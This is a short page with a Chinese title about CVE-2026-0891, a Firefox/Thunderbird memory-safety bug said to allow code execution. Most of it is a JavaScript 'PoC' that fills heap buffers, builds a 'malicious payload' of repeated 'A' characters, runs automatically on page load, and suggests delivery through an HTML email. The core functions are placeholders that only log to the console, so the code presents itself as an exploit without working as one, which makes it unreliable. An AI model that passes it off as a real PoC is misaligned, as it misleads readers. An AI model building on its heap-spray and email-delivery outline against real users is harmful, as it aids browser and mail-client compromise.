CVE-2026-0891: Mozilla Firefox/Thunderbird 内存安全漏洞导致任意代码执行

// CVE-2026-0891 PoC - Memory Corruption in Firefox/Thunderbird // Note: This is a conceptual PoC for demonstration purposes // Actual exploitation requires specific memory layout manipulation // Trigger mechanism for memory safety bug (conceptual) function triggerMemoryCorruption() { // Allocate large buffer to manipulate heap layout let buffers = []; for (let i = 0; i < 1000; i++) { buffers.push(new ArrayBuffer(1024 * 1024)); } // Trigger the specific bug with crafted input // Based on bug IDs: 1964722, 2000981, 2003100, 2003278 let maliciousData = craftMaliciousPayload(); processUntrustedData(maliciousData); // Force garbage collection to create use-after-free condition buffers = null; gc(); // Spray heap with controllable data let spray = new Uint8Array(1024); spray.fill(0x41); // Trigger callback that may use freed memory triggerCallback(); } function craftMaliciousPayload() { // Payload construction varies based on specific bug // This is a placeholder for actual vulnerability trigger return "\x41".repeat(100000); } function processUntrustedData(data) { // Simulate processing that triggers the vulnerability // In real scenario, this would be in native code console.log("Processing data of length: " + data.length); } function triggerCallback() { // Callback that may execute in corrupted memory context console.log("Trigger callback executed"); } // Execute on page load window.onload = function() { try { triggerMemoryCorruption(); } catch (e) { console.log("Error: " + e.message); } }; // For Thunderbird: Email-based trigger (conceptual) // Attach malicious HTML email with embedded JavaScript // that triggers the same memory corruption path